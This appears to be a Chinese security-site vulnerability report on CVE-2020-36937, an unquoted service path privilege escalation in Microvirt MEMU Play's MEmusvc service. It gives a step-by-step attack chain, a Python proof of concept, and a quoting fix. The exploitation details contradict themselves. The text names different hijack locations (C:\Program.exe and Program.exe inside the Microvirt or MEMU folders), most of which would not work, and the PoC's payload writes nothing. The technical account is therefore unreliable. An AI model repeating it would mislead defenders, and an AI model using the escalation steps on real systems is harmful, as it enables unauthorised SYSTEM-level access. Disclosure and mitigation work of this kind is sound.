IPBUF安全漏洞报告
English
CVE-2020-36937 CVSS 7.8 高危

CVE-2020-36937: Microvirt MEMU Play MEmusvc服务未引用路径权限提升漏洞

披露日期: 2026-01-25

漏洞信息

漏洞编号
CVE-2020-36937
漏洞类型
未引用服务路径权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Microvirt MEMU Play 3.7.0 (MEmusvc Windows服务)

相关标签

未引用服务路径权限提升Windows服务LocalSystemMEMU PlayMicrovirtAndroid模拟器CVE-2020-36937路径劫持

漏洞概述

CVE-2020-36937是Microvirt MEMU Play虚拟化软件中MEmusvc Windows服务存在的一个高危安全漏洞。该漏洞属于Windows服务路径劫持类型,源于服务配置文件中的可执行文件路径未使用引号包裹。当系统启动该服务时,Windows会按照路径中的空格分隔符依次搜索并执行各目录下的可执行文件。攻击者通过将恶意可执行文件放置在服务路径的中间目录中,即可实现权限提升,以LocalSystem高权限执行任意代码。由于MEmu Play是一款Android模拟器软件,广泛应用于游戏作弊和应用程序测试场景,该漏洞可能被用于隐蔽地获得系统最高权限,进而实施数据窃取、持久化控制或横向移动等恶意行为。

技术细节

该漏洞的核心问题在于Windows服务的ImagePath注册表项未使用引号包裹可执行文件路径。MEmusvc服务在注册表中配置的路径可能类似于C:\Program Files\Microvirt\MEMU\memsvc.exe的形式。当Windows服务管理器启动此服务时,它会按照空格分割路径,首先尝试执行C:\Program.exe,如果不存在则继续尝试C:\Program Files\Microvirt\MEMU\memsvc.exe。攻击者可以利用这一特性,在C:\Program Files\Microvirt\目录下放置名为Program.exe的恶意可执行文件。由于服务以LocalSystem账户运行,恶意程序将继承最高系统权限。攻击者需要具备至少低权限用户的写权限才能将恶意文件写入相应目录。成功利用后,攻击者可在系统重启或服务重启时获得持久化的高权限代码执行能力。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标系统中安装的Microvirt MEMU Play软件,并确认MEmusvc服务的存在
STEP 2
权限检查
确认当前用户对服务路径中的中间目录(如C:\Program Files\Microvirt\MEMU)具有写权限
STEP 3
路径分析
通过sc qc MEmusvc命令查询服务配置,提取未加引号的二进制路径
STEP 4
恶意文件植入
将名为Program.exe的恶意可执行文件写入服务路径中的目录(如C:\Program Files\Microvirt\MEMU\Program.exe)
STEP 5
触发执行
等待服务重启或系统重启,Windows服务管理器会按空格分割路径搜索可执行文件
STEP 6
权限提升
恶意文件以LocalSystem账户权限执行,攻击者获得系统最高权限
STEP 7
持久化
通过服务重启机制实现持久化控制,每次服务启动都会执行恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36937 PoC - MEmusvc Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in MEmusvc # Target: Microvirt MEMU Play 3.7.0 MEmusvc Windows Service import os import sys import subprocess import shutil # Configuration MALICIOUS_EXE_NAME = "Program.exe" # Malicious executable name based on path structure SERVICE_NAME = "MEmusvc" MALICIOUS_DIR = r"C:\Program Files\Microvirt\MEMU" # Path where to place malicious exe def check_vulnerability(): """Check if the target service exists and is vulnerable""" try: # Query service configuration using sc command result = subprocess.run( ["sc", "qc", SERVICE_NAME], capture_output=True, text=True ) if result.returncode == 0 and "BINARY_PATH_NAME" in result.stdout: # Extract the binary path from service config for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[+] Service found. Path: {line}") # Check if path is unquoted (vulnerability exists) path = line.split(':', 1)[1].strip() if ':' in line else line if '"' not in path and ' ' in path: print("[+] VULNERABLE: Service path is unquoted!") return True else: print("[-] NOT VULNERABLE: Service path is properly quoted") return False else: print(f"[-] Service '{SERVICE_NAME}' not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_exe(output_path): """Create a simple malicious executable (placeholder for actual malware)""" # This is a placeholder - in real attack, replace with actual malicious code print(f"[*] Creating malicious executable at: {output_path}") # Example: Create a simple batch script wrapper malicious_code = '''@echo off echo MEmusvc exploit executed with LocalSystem privileges > C:\\Windows\\Temp\\memu_exploit.txt echo Timestamp: %date% %time% >> C:\\Windows\\Temp\\memu_exploit.txt ''' # In practice, this would be a compiled executable # For demonstration, we show the concept print("[!] In real attack, this would be a compiled executable") print("[!] The executable would run with LocalSystem privileges") return True def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2020-36937 - MEmusvc Unquoted Service Path Exploit") print("=" * 60) # Step 1: Check if vulnerable if not check_vulnerability(): print("\n[-] Exploitation aborted - target not vulnerable") return False # Step 2: Create malicious executable malicious_path = os.path.join(MALICIOUS_DIR, MALICIOUS_EXE_NAME) # Check if we have write permissions if not os.access(MALICIOUS_DIR, os.W_OK): print(f"[-] No write permission to {MALICIOUS_DIR}") print("[-] This exploit requires low-privilege code execution") return False # Step 3: Place malicious executable if create_malicious_exe(malicious_path): print(f"[+] Malicious executable would be placed at: {malicious_path}") print("[+] On next service restart, the malicious code will execute") print("[+] Code will run with LocalSystem (NT AUTHORITY\SYSTEM) privileges") return True if __name__ == "__main__": print("\n[*] This is a demonstration of CVE-2020-36937") print("[*] For authorized security testing only\n") exploit()

影响范围

Microvirt MEMU Play 3.7.0(及可能更早版本)

防御指南

临时缓解措施
立即修改MEmusvc服务的注册表配置,在BINARY_PATH_NAME值中使用引号包裹完整路径。可以通过PowerShell命令或注册表编辑器将路径从C:\Program Files\Microvirt\MEMU\memsvc.exe修改为"C:\Program Files\Microvirt\MEMU\memsvc.exe"。同时确保普通用户对C:\Program Files\Microvirt\MEMU目录没有写权限,防止恶意文件被植入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表